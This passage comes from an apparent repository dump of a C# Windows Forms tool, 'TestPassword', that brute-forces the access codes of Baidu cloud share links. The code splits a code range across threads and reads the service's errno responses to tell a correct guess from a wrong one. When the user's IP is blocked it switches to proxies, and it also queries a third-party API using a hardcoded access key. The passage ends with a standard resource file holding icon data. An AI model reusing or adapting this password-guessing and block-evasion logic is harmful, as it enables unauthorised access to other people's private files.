Configuration.Split('∆');\r\n                        text_url.Text = str[0];\r\n                        text_xczs.Text = str[1];\r\n                        text_zxsd.Text = str[2];\r\n                    }\r\n                    catch\r\n                    {\r\n                        Configuration = text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\r\n                        File.Delete(StaticClass.config);\r\n                        File.AppendAllText(StaticClass.config, Configuration);\r\n                    }\r\n                }\r\n\r\n                #endregion 生成配置文件\r\n\r\n                //打开启动按钮\r\n                btn_status.Enabled = true;\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动或停止\r\n        /// </summary>\r\n        private void btn_status_Click(object sender, EventArgs e)\r\n        {\r\n            if (!cB_mxwxz.Checked) { MessageBox.Show(\"请使用 MXWXZ 提供的方案\"); return; }\r\n            if (btn_status.Text == \"停止\")\r\n            {\r\n                btn_status.Text = \"启动\";\r\n                btn_status.Enabled = false;\r\n                StaticClass.status = true;\r\n            }\r\n            else\r\n            {\r\n                //把分享地址赋值给静态变量\r\n                StaticClass.url = text_url.Text;\r\n                //设置线程默认状态给静态变量\r\n                StaticClass.status = false;\r\n\r\n                #region 基本的线程\r\n\r\n                int xczs = Convert.ToInt32(text_xczs.Text);//线程总数\r\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\r\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\r\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\r\n                int total = end - start + 1;//尝试的总数\r\n                int section = total / xczs;//线程的次数\r\n\r\n                #endregion 基本的线程\r\n\r\n                #region 预防(防止)线程的总数大于尝试的总数\r\n\r\n                if (xczs > total)\r\n                {\r\n                    MessageBox.Show(\"小伙子又想让程序出BUG吗？\");\r\n                    MessageBox.Show(\"检测到线程的总数大于尝试的总数\");\r\n                    return;\r\n                }\r\n\r\n                #endregion 预防(防止)线程的总数大于尝试的总数\r\n\r\n                #region 标识程序已经启动\r\n\r\n                btn_status.Text = \"停止\";\r\n\r\n                #endregion 标识程序已经启动\r\n\r\n                #region 创建线程\r\n\r\n                for (int i = 1; i <= xczs; i++)\r\n                {\r\n                    int _start = start + section * (i - 1);//一条线程的开始值\r\n                    int _end = start + section * i;//一条线程的结束值\r\n\r\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\r\n                }\r\n\r\n                #endregion 创建线程\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 联网查密(用到互联网搜索功能)\r\n        /// </summary>\r\n        private void btn_net_Click(object sender, EventArgs e)\r\n        {\r\n            if (!cB_ypsuperkey.Checked) { MessageBox.Show(\"请使用 云盘万能钥匙 提供的方案\"); return; }\r\n            if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n\r\n            MessageBox.Show(\"本服务由 云盘万能钥匙(www.ypsuperkey.com)提供，本人仅是使用提供的接口\");\r\n\r\n            string info = text_url.Text.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n            string url = \"https://www.ypsuperkey.com/api/items/BDY-\" + info + \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\r\n            string data = StaticClass.HttpGet(url);//请求并获得返回数据\r\n            data = \"密码为\" + Regex.Match(data, \"\\\"access_code\\\":\\\".+?\\\"\").Value.ToString().Replace(\"\\\"\", \"\").Replace(\"access_code:\", \"\");\r\n            if (data == \"密码为\") data = \"还是老老实实暴密码吧\";\r\n            MessageBox.Show(data, \"提示\");\r\n        }\r\n\r\n        #region 委托进行显示数据\r\n\r\n        private delegate void Modifystr(string str1, string str2);\r\n\r\n        public void ModifyStr(string str1, string str2)\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;//显示点啥\r\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\r\n                if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    StaticClass.status = true;\r\n                    btn_status.Text = \"启动\";\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n                }\r\n                else//拒绝访问、未知错误\r\n                {\r\n                    if (!StaticClass.status)\r\n                    {\r\n                        StaticClass.status = true;\r\n                        btn_status.Text = \"启动\";\r\n                        if (cB_ktwo.Checked)\r\n                        {\r\n                            #region 利用代理服务重新跑\r\n\r\n                            try\r\n                            {\r\n                                HttpProxy httpProxy = new HttpProxy();\r\n                                if (httpProxy.startUp(0))\r\n                                {\r\n                                    btn_status.PerformClick();\r\n                                }\r\n                                else\r\n                                {\r\n                                    MessageBox.Show(\"代理服务无法启动\");\r\n                                }\r\n                            }\r\n                            catch { }\r\n\r\n                            #endregion 利用代理服务重新跑\r\n                        }\r\n                        else\r\n                        {\r\n                            MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        #endregion 委托进行显示数据\r\n\r\n        #region 浏览器预览网页\r\n\r\n        /// <summary>\r\n        /// 跳转到开源页\r\n        /// </summary>\r\n        private void txt_ts_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\r\n        }\r\n\r\n        #endregion 浏览器预览网页\r\n\r\n        #region 检验常规数据\r\n\r\n        /// <summary>\r\n        /// 限制输入\r\n        /// </summary>\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n\r\n        /// <summary>\r\n        /// 验证代理IP的文件是否正常\r\n        /// </summary>\r\n        private void cB_ktwo_CheckedChanged(object sender, EventArgs e)\r\n        {\r\n            if (cB_ktwo.Checked)\r\n            {\r\n                if (StaticClass.proxy == null)\r\n                {\r\n                    MessageBox.Show(\"请先 选择解决方案\");\r\n                    cB_ktwo.Checked = false;\r\n                    return;\r\n                }\r\n                if (!File.Exists(StaticClass.proxy))\r\n                {\r\n                    MessageBox.Show(\"接下来请注意了\");\r\n                    MessageBox.Show(\"在记事本弹出的时候请单击确定创建\");\r\n                    MessageBox.Show(\"填入文本，内容格式为 IP:端号 回车，以此类推\");\r\n                    System.Diagnostics.Process.Start(\"notepad.exe\", StaticClass.proxy);\r\n                    cB_ktwo.Checked = false;\r\n                    return;\r\n                }\r\n            }\r\n        }\r\n\r\n        #endregion 检验常规数据\r\n\r\n        #region 退出程序\r\n\r\n        private void Main_FormClosed(object sender, FormClosedEventArgs e)\r\n        {\r\n            StaticClass.status = false;\r\n            new HttpProxy().SwitchOff();\r\n        }\r\n\r\n        #endregion 退出程序\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\r\n    <value>17, 17</value>\r\n  </metadata>\r\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\r\n    <value>33</value>\r\n  </metadata>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        